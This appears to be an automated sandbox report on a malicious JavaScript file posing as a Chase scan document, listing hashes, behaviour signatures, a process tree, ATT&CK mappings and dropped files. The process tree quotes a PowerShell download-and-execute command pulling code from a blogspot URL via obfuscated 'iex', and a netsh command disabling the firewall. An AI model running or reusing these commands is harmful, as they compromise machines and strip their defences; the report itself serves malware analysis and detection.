Analysis
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max time kernel
290s -
max time network
300s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
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submitted
16-01-2024 10:45
General
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Target
New_ScanDoc#092387CHASEeAdvice.js
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Size
1.4MB
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MD5
286d534eb759c671fa9e79cfafd3bc85
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SHA1
d165938c1c607618c5cb6d9d11cf5b371f007ac7
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SHA256
77109ba56a5e70fafe88a10800764ec30d35727c1ff8cdb2934534ae8c7e048b
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SHA512
3b1ee1a647b623265ad7e90d786e61cafe6ca5e312676dafcc198763cf8efe3f479fb66b4aae9d1e7289ec5433055ab193ffd91abefc732e3d337d4fe987119b
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SSDEEP
192:FQzfvQzrHHHHHH3HHHHHH3HHHHHH3HHHHHH3HHHHHH3HHHHHH3HHHHHHnHHHHHHf:efYzD
Malware Config
Signatures
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UAC bypass 3 TTPs 1 IoCs
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Blocklisted process makes network request 2 IoCs
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Modifies Windows Firewall 1 TTPs 1 IoCs
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Registers COM server for autorun 1 TTPs 2 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of SetThreadContext 3 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 3 IoCs
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Suspicious behavior: EnumeratesProcesses 13 IoCs
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Suspicious use of AdjustPrivilegeToken 64 IoCs
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Suspicious use of WriteProcessMemory 38 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\New_ScanDoc#092387CHASEeAdvice.js1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm simoubizw.blogspot.com///////////////////////////atom.xml) | . ('i*x').replace('*','e');Start-Sleep -Seconds 62⤵
- UAC bypass
- Blocklisted process makes network request
- Registers COM server for autorun
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c5suvrj0\c5suvrj0.cmdline"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7FCF.tmp" "c:\Users\Admin\AppData\Local\Temp\c5suvrj0\CSC46BEA21AFB854ECAA21C937E3F6D1B75.TMP"4⤵
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C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off -ErrorAction SilentlyContinue3⤵
- Modifies Windows Firewall
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7084⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 6924⤵
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Replay Monitor
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Downloads
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Filesize
1KB
MD5e431c0b42b0f38f514869886df65a3fc
SHA1fa72fb12e092563697ea45c7f3f283f3f811d894
SHA2564b8556874c35b9bf7d8dba698b0edbcc1af4ebe5ba001837545a6666e4d22ce2
SHA512cd3d874293ffdbd1a43328a4d650d02d1e94797fecbb4fa19624a57e24170e945ad4e265ca4306911b553be570cdbd0a1f3fa17c0dd4a6ea5566c75580cf6046
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
3KB
MD58989c5e3ade9ade9e4807db91296c5b1
SHA1e697809f722479d6a9ae9f21ab63c1858830fc59
SHA25636565ac7aac6267d69885c606e3cfd2149c2b7bc57f217e0c687867ba131006d
SHA512382eb992b2092ce83242b63c0d51a6cbb9218a45363e80f69b15dcd43c1ed9bc208e07447f29d7df3d17f3125d52e3cbe05f54d4b351dc5e2bce7b67752d21c3
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Filesize
652B
MD5916597f2fcf850f41c61947adc81f1f3
SHA10a37d3c94bd94f4d2177d22f88d74dc05a4dcbb1
SHA256036de56932dbad4712a99eb22f4d5e8337b0c362bc845a57439d89c7dc238921
SHA512c41068edb0e67aaf268ce1d08dafd2176ef0114431444c1e3e214504c023866ef95f629138e4c6a4cff529a411832620a7399e667b206c2c55f7a7804c5cbe1a
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Filesize
870B
MD5e06ebf853695db38aaac82c9af297ae4
SHA1ef98bacec5ac2ae3bf24aac8ed56935a25c1f064
SHA25679c1099bad1dccb1d151887071b8e8b5d679de343903895fa28e45b791cae344
SHA512036449d932066d506a6bd7c08df311bf1ed5e7b3595004941fe1c39a8e9f9b0d08d43b33a180d4851f88d49c98a17b05cf5235858ada611306fc602cfd582759
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Filesize
369B
MD51125f91ed30b79209277636c3ae8c18c
SHA1c63a375b7f7a391f28ad7bfbe069a8a4b4883ec6
SHA256636b41248f090a43866fbdeacb92d06a1547f375eef217a7bec3fbdec08672af
SHA5128f0747dddf899c7108c8e49258f140c1fa3ba434e679975ca676e20f368d37e381774893c2283189e9597b209d688cd1c65238074be2d68a62f843aae3baeff6
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Filesize
5.7MB
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Filesize
5.7MB
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Filesize
5.7MB
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Filesize
64KB
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Filesize
5.7MB
-
Filesize
64KB
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Filesize
5.7MB
-
Filesize
64KB
-
Filesize
32KB
-
Filesize
9.9MB
-
Filesize
56KB
-
Filesize
104KB
-
Filesize
9.9MB
-
Filesize
64KB
-
Filesize
472KB
-
Filesize
64KB
-
Filesize
9.9MB
-
Filesize
136KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
1.8MB
-
Filesize
64KB
-
Filesize
64KB
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Filesize
5.0MB
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Filesize
624KB
-
Filesize
1.8MB
-
Filesize
584KB
-
Filesize
320KB
-
Filesize
64KB
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Filesize
40KB
-
Filesize
408KB
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Filesize
6.9MB
-
Filesize
64KB
-
Filesize
560KB
-
Filesize
6.9MB
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Filesize
560KB